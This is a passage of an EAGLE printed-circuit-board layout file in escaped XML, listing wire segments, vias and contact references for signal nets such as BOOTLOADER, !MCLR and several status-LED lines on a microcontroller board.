y=\"54.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"40.8\" y=\"65.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"58.8\" y=\"18.1\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"5\"/>\n<wire x1=\"17.4\" y1=\"70.2\" x2=\"17.63\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"47.8\" y1=\"54.7\" x2=\"47.8\" y2=\"54.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"47.8\" y1=\"54.1\" x2=\"51.3\" y2=\"50.6\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"BOOTLOADER\">\n<contactref element=\"BOOTLOADER\" pad=\"4\"/>\n<contactref element=\"BOOTLOADER\" pad=\"3\"/>\n<contactref element=\"R31\" pad=\"2\"/>\n<contactref element=\"U6\" pad=\"5\"/>\n<wire x1=\"38.4\" y1=\"51.5\" x2=\"36.6\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"51.5\" x2=\"38.4\" y2=\"51.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"51.5\" x2=\"39.005\" y2=\"51.56\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.4\" y1=\"56.2\" x2=\"49.2\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.6\" x2=\"39.4\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"49.2\" y1=\"56.2\" x2=\"49.28\" y2=\"56.1878\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.6\" x2=\"39.005\" y2=\"56.64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"53\" x2=\"39\" y2=\"51.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"55.2\" x2=\"39\" y2=\"53\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39\" y1=\"56.5\" x2=\"39\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.2\" x2=\"39\" y2=\"55.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"51.6\" x2=\"39.005\" y2=\"51.56\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.5\" x2=\"39.005\" y2=\"56.64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.8\" y1=\"65.3\" x2=\"14.9\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"23.4\" y1=\"65.3\" x2=\"19.8\" y2=\"65.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"30.2\" y1=\"58.5\" x2=\"23.4\" y2=\"65.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.7\" y1=\"55\" x2=\"30.2\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36.9\" y1=\"55\" x2=\"33.7\" y2=\"55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"38.1\" y1=\"56.2\" x2=\"36.9\" y2=\"55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.2\" x2=\"38.1\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39\" y1=\"56.2\" x2=\"39.005\" y2=\"56.64\" width=\"0.2\" layer=\"1\"/>\n<via x=\"39\" y=\"53\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"39\" y=\"55.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"30.2\" y=\"58.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"4\"/>\n<wire x1=\"14.9\" y1=\"70.2\" x2=\"15.09\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36.6\" y1=\"49.7\" x2=\"35.6\" y2=\"49.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.6\" y1=\"49.7\" x2=\"35.25\" y2=\"49.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"35.25\" y1=\"49.35\" x2=\"35.25\" y2=\"48.3\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"!MCLR\">\n<contactref element=\"R29\" pad=\"2\"/>\n<contactref element=\"RESET\" pad=\"3\"/>\n<contactref element=\"RESET\" pad=\"4\"/>\n<contactref element=\"U6\" pad=\"13\"/>\n<contactref element=\"JP16\" pad=\"1\"/>\n<wire x1=\"27\" y1=\"51.5\" x2=\"27\" y2=\"49.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27\" y1=\"49.6\" x2=\"27\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28\" y1=\"51.5\" x2=\"27\" y2=\"51.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27\" y1=\"48.2\" x2=\"26.95\" y2=\"48.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28\" y1=\"51.5\" x2=\"28.005\" y2=\"51.56\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"44\" y1=\"52.2\" x2=\"49.28\" y2=\"52.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.5\" y1=\"53.7\" x2=\"44\" y2=\"52.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.7\" y1=\"53.7\" x2=\"31\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31\" y1=\"53.7\" x2=\"42.5\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.6\" y1=\"51.6\" x2=\"30.7\" y2=\"53.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.1\" y1=\"51.6\" x2=\"28.6\" y2=\"51.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.1\" y1=\"51.6\" x2=\"28.005\" y2=\"51.56\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"31\" y1=\"53.7\" x2=\"28.1\" y2=\"56.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.1\" y1=\"56.6\" x2=\"28.005\" y2=\"56.64\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"19.5\" y1=\"36.9\" x2=\"17.6\" y2=\"35\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"19.5\" y1=\"38\" x2=\"19.5\" y2=\"36.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.65\" y1=\"39.15\" x2=\"19.5\" y2=\"38\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.7\" y1=\"49.6\" x2=\"22\" y2=\"48.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27\" y1=\"49.6\" x2=\"22.7\" y2=\"49.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"9.1\" y1=\"56.3\" x2=\"1.7\" y2=\"63.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"22.2\" y1=\"56.3\" x2=\"9.1\" y2=\"56.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"23.5\" y1=\"55\" x2=\"22.2\" y2=\"56.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25.9\" y1=\"55\" x2=\"23.5\" y2=\"55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.3\" y1=\"56.4\" x2=\"25.9\" y2=\"55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.2\" y1=\"56.4\" x2=\"27.3\" y2=\"56.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"1.7\" y1=\"63.7\" x2=\"1.61\" y2=\"63.71\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.2\" y1=\"56.4\" x2=\"28.005\" y2=\"56.64\" width=\"0.2\" layer=\"1\"/>\n<via x=\"22\" y=\"48.9\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP14\" pad=\"5\"/>\n<wire x1=\"17.6\" y1=\"35\" x2=\"17.63\" y2=\"34.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"17.6\" y1=\"35\" x2=\"17.63\" y2=\"34.95\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"TP13\" pad=\"TP\"/>\n<wire x1=\"4.9\" y1=\"63.7\" x2=\"4.99\" y2=\"63.71\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"4.99\" y1=\"63.71\" x2=\"1.61\" y2=\"63.71\" width=\"0.4\" layer=\"16\"/>\n<wire x1=\"22\" y1=\"48.9\" x2=\"20.65\" y2=\"47.55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.65\" y1=\"47.55\" x2=\"20.65\" y2=\"39.15\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RE4\">\n<contactref element=\"U6\" pad=\"100\"/>\n<wire x1=\"50.5\" y1=\"59.4\" x2=\"50.9\" y2=\"59.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42\" y1=\"59.4\" x2=\"50.5\" y2=\"59.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.1\" y1=\"65\" x2=\"40.1\" y2=\"61.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.8\" y1=\"65.3\" x2=\"40.1\" y2=\"65\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"38.6\" y1=\"66.5\" x2=\"39.8\" y2=\"65.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"28.6\" y1=\"66.5\" x2=\"38.6\" y2=\"66.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"25\" y1=\"70.1\" x2=\"28.6\" y2=\"66.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"25\" y1=\"70.2\" x2=\"25\" y2=\"70.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.9\" y1=\"59.8\" x2=\"50.9056\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"41.8\" y=\"59.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"39.8\" y=\"65.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"28.6\" y=\"66.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"8\"/>\n<wire x1=\"25\" y1=\"70.2\" x2=\"25.25\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42\" y1=\"59\" x2=\"41.8\" y2=\"59.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42\" y1=\"59.4\" x2=\"41.8\" y2=\"59.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"41.8\" y1=\"59.2\" x2=\"41.8\" y2=\"59.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.8\" y1=\"59.6\" x2=\"40.1\" y2=\"61.3\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"USB_LED_GREEN\">\n<contactref element=\"U6\" pad=\"99\"/>\n<contactref element=\"LED8\" pad=\"C\"/>\n<wire x1=\"63.4\" y1=\"55\" x2=\"67.9\" y2=\"59.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"61.9\" y1=\"55\" x2=\"63.4\" y2=\"55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.8\" y1=\"58.1\" x2=\"61.9\" y2=\"55\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"58.8\" y1=\"61.9\" x2=\"58.8\" y2=\"58.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"57.1\" y1=\"63.6\" x2=\"58.8\" y2=\"61.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.6\" y1=\"63.6\" x2=\"57.1\" y2=\"63.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.5\" y1=\"62.5\" x2=\"51.6\" y2=\"63.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.1\" y1=\"62.1\" x2=\"50.5\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.1\" y1=\"60.7\" x2=\"50.1\" y2=\"62.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"50.3\" y1=\"60.9\" x2=\"50.1\" y2=\"60.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.2\" y1=\"60.9\" x2=\"50.3\" y2=\"60.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"60.7\" x2=\"51.2\" y2=\"60.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"59.9\" x2=\"51.4\" y2=\"60.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.9\" y1=\"60.5\" x2=\"94.95\" y2=\"60.35\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.4\" y1=\"59.9\" x2=\"51.3882\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"30.2\" y1=\"67.6\" x2=\"27.6\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.2\" y1=\"67.6\" x2=\"30.2\" y2=\"67.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"48.2\" y1=\"62.6\" x2=\"43.2\" y2=\"67.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.5\" y1=\"62.6\" x2=\"48.2\" y2=\"62.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.5\" y1=\"62.6\" x2=\"50.5\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<via x=\"77.5\" y=\"57.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"58.8\" y=\"61.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"50.5\" y=\"62.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"50.1\" y=\"60.7\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"74.2\" y1=\"59.5\" x2=\"76.4\" y2=\"57.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"76.4\" y1=\"57.3\" x2=\"77.5\" y2=\"57.3\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP15\" pad=\"9\"/>\n<wire x1=\"27.6\" y1=\"70.2\" x2=\"27.79\" y2=\"70.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.9\" y1=\"60.5\" x2=\"94.3\" y2=\"60.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"74.2\" y1=\"59.5\" x2=\"67.9\" y2=\"59.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"91.6\" y1=\"57.8\" x2=\"81.9\" y2=\"57.8\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.9\" y1=\"57.8\" x2=\"81.4\" y2=\"57.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"81.4\" y1=\"57.3\" x2=\"77.5\" y2=\"57.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.3\" y1=\"60.5\" x2=\"91.6\" y2=\"57.8\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"COMMS_LED_YELLOW\">\n<contactref element=\"U6\" pad=\"98\"/>\n<contactref element=\"LED7\" pad=\"C\"/>\n<wire x1=\"94.7\" y1=\"65.2\" x2=\"94.95\" y2=\"65.45\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"75.4\" y1=\"56.2\" x2=\"86.3\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"63.4\" y1=\"53.5\" x2=\"66\" y2=\"55.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.8\" y1=\"53.5\" x2=\"63.4\" y2=\"53.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"62.5\" y1=\"53.2\" x2=\"62.8\" y2=\"53.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"55\" y1=\"53.2\" x2=\"62.5\" y2=\"53.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.8\" y1=\"57.4\" x2=\"51.35\" y2=\"56.85\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.35\" y1=\"56.85\" x2=\"55\" y2=\"53.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"59.8\" x2=\"51.9\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"59.8\" x2=\"51.8962\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"36\" y1=\"64.3\" x2=\"30.1\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36\" y1=\"63.9\" x2=\"36\" y2=\"64.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"44\" y1=\"63.9\" x2=\"36\" y2=\"63.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.2\" y1=\"56.7\" x2=\"44\" y2=\"63.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"51.35\" y1=\"56.85\" x2=\"51.2\" y2=\"56.7\" width=\"0.2\" layer=\"1\"/>\n<via x=\"66\" y=\"55.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"62.8\" y=\"53.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"36\" y=\"63.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"44\" y=\"63.9\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"51.2\" y=\"56.7\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"10\"/>\n<wire x1=\"30.1\" y1=\"70.2\" x2=\"30.33\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"66\" y1=\"55.9\" x2=\"66.3\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"66.3\" y1=\"56.2\" x2=\"75.4\" y2=\"56.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.7\" y1=\"65.2\" x2=\"94.7\" y2=\"65.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"94.7\" y1=\"65.3\" x2=\"92.9\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"92.9\" y1=\"67.1\" x2=\"86.3\" y2=\"67.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.9\" y1=\"59\" x2=\"51.3\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.3\" y1=\"58.4\" x2=\"51\" y2=\"58.4\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51\" y1=\"58.4\" x2=\"50.8\" y2=\"58.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"50.8\" y1=\"58.2\" x2=\"50.8\" y2=\"57.4\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"CLOCK_LED_ORANGE\">\n<contactref element=\"U6\" pad=\"94\"/>\n<contactref element=\"LED6\" pad=\"C\"/>\n<wire x1=\"23.9\" y1=\"32.8\" x2=\"24\" y2=\"32.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"23.9\" y1=\"37.6\" x2=\"23.9\" y2=\"32.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"25.6\" y1=\"39.3\" x2=\"23.9\" y2=\"37.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"25.6\" y1=\"51.9\" x2=\"25.6\" y2=\"39.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.2\" y1=\"59.5\" x2=\"25.6\" y2=\"51.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"33.2\" y1=\"60.9\" x2=\"33.2\" y2=\"59.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"34.1\" y1=\"61.8\" x2=\"33.2\" y2=\"60.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.1\" y1=\"61.8\" x2=\"34.1\" y2=\"61.8\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.2\" y1=\"69.1\" x2=\"39\" y2=\"67.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"40.2\" y1=\"70.2\" x2=\"40.2\" y2=\"69.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.6\" y1=\"57.7\" x2=\"53.9\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"51.5\" y1=\"57.7\" x2=\"52.6\" y2=\"57.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.7\" y1=\"62.5\" x2=\"51.5\" y2=\"57.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"62.5\" x2=\"46.7\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.1\" y1=\"62.5\" x2=\"39.4\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.9\" y1=\"59.8\" x2=\"53.9028\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"24\" y=\"32.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"51.5\" y=\"57.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"46.7\" y=\"62.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"39.4\" y=\"62.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"14\"/>\n<wire x1=\"40.2\" y1=\"70.2\" x2=\"40.49\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"24.45\" y1=\"29.5\" x2=\"24\" y2=\"29.95\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"24\" y1=\"29.95\" x2=\"24\" y2=\"32.7\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.9\" y1=\"59.8\" x2=\"53.9\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"39.1\" y1=\"61.8\" x2=\"39.4\" y2=\"62.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"62.1\" x2=\"39.4\" y2=\"62.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"62.2\" x2=\"39.4\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39\" y1=\"67.9\" x2=\"39\" y2=\"63.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39\" y1=\"63.7\" x2=\"39.4\" y2=\"63.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"39.4\" y1=\"63.3\" x2=\"39.4\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"EMAULATE_LED_RED\">\n<contactref element=\"U6\" pad=\"93\"/>\n<contactref element=\"LED5\" pad=\"C\"/>\n<wire x1=\"5.6\" y1=\"36.3\" x2=\"5.6\" y2=\"22.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"15.2\" y1=\"45.2\" x2=\"14\" y2=\"44\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"15.2\" y1=\"59\" x2=\"15.2\" y2=\"45.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"20.8\" y1=\"64.6\" x2=\"15.2\" y2=\"59\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"41.2\" y1=\"64.6\" x2=\"20.8\" y2=\"64.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.5\" y1=\"65.7\" x2=\"41.2\" y2=\"64.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.5\" y1=\"69.3\" x2=\"42.5\" y2=\"65.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.7\" y1=\"69.5\" x2=\"42.5\" y2=\"69.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"42.7\" y1=\"70.2\" x2=\"42.7\" y2=\"69.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54.4\" y1=\"61.2\" x2=\"54.4\" y2=\"59.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.1\" y1=\"61.2\" x2=\"54.4\" y2=\"61.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"53.7\" y1=\"61.6\" x2=\"54.1\" y2=\"61.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.7\" y1=\"62.3\" x2=\"53.7\" y2=\"61.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.3\" y1=\"62.7\" x2=\"53.7\" y2=\"62.3\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.3\" y1=\"64.3\" x2=\"53.3\" y2=\"62.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.5\" y1=\"65.1\" x2=\"53.3\" y2=\"64.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"46.7\" y1=\"65.1\" x2=\"52.5\" y2=\"65.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.4\" y1=\"59.9\" x2=\"54.4108\" y2=\"59.82\" width=\"0.2\" layer=\"1\"/>\n<via x=\"14\" y=\"44\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"20.8\" y=\"64.6\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"42.5\" y=\"65.7\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"54.1\" y=\"61.2\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"53.3\" y=\"64.3\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"46.7\" y=\"65.1\" extent=\"1-16\" drill=\"0.4\"/>\n<wire x1=\"42.5\" y1=\"65.7\" x2=\"46.1\" y2=\"65.7\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"46.1\" y1=\"65.7\" x2=\"46.7\" y2=\"65.1\" width=\"0.2\" layer=\"16\"/>\n<contactref element=\"JP15\" pad=\"15\"/>\n<wire x1=\"42.7\" y1=\"70.2\" x2=\"43.03\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"5.6\" y1=\"22.5\" x2=\"4.7\" y2=\"21.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"4.7\" y1=\"21.6\" x2=\"3.25\" y2=\"21.6\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"3.25\" y1=\"21.6\" x2=\"3.2\" y2=\"21.55\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.3\" y1=\"44\" x2=\"5.6\" y2=\"36.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"13.3\" y1=\"44\" x2=\"14\" y2=\"44\" width=\"0.2\" layer=\"1\"/>\n</signal>\n<signal name=\"RG15\">\n<contactref element=\"U6\" pad=\"1\"/>\n<wire x1=\"48.4\" y1=\"59\" x2=\"49.2\" y2=\"58.2\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"43.3\" y1=\"59\" x2=\"48.4\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"42.8\" y1=\"58.5\" x2=\"43.3\" y2=\"59\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"40.4\" y1=\"58.5\" x2=\"42.8\" y2=\"58.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"37.9\" y1=\"61.1\" x2=\"40.4\" y2=\"58.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"36.5\" y1=\"62.5\" x2=\"37.9\" y2=\"61.1\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"34.2\" y1=\"62.5\" x2=\"36.5\" y2=\"62.5\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"27.8\" y1=\"62.5\" x2=\"34.2\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.7\" y1=\"67.6\" x2=\"27.8\" y2=\"62.5\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.7\" y1=\"70\" x2=\"22.7\" y2=\"67.6\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"22.5\" y1=\"70.2\" x2=\"22.7\" y2=\"70\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"49.2\" y1=\"58.2\" x2=\"49.28\" y2=\"58.1944\" width=\"0.2\" layer=\"1\"/>\n<via x=\"40.4\" y=\"58.5\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"37.9\" y=\"61.1\" extent=\"1-16\" drill=\"0.4\"/>\n<via x=\"34.2\" y=\"62.5\" extent=\"1-16\" drill=\"0.4\"/>\n<contactref element=\"JP15\" pad=\"7\"/>\n<wire x1=\"22.5\" y1=\"70.2\" x2=\"22.71\" y2=\"70.2\" width=\"0.2\" layer=\"16\"/>\n</signal>\n<signal name=\"RG14\">\n<contactref element=\"U6\" pad=\"95\"/>\n<wire x1=\"52.7\" y1=\"61.3\" x2=\"53.2\" y2=\"61.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"52.3\" y1=\"61.7\" x2=\"52.7\" y2=\"61.3\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54.1\" y1=\"62.9\" x2=\"52.6\" y2=\"62.9\" width=\"0.2\" layer=\"1\"/>\n<wire x1=\"54\" y1=\"63\" x2=\"54.1\" y2=\"62.9\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"54\" y1=\"66.1\" x2=\"54\" y2=\"63\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"53.3\" y1=\"66.8\" x2=\"54\" y2=\"66.1\" width=\"0.2\" layer=\"16\"/>\n<wire x1=\"52.1\" y1=\"68\" x2=\"53.3\" y2=\"66.8\" width=\"0.2\" 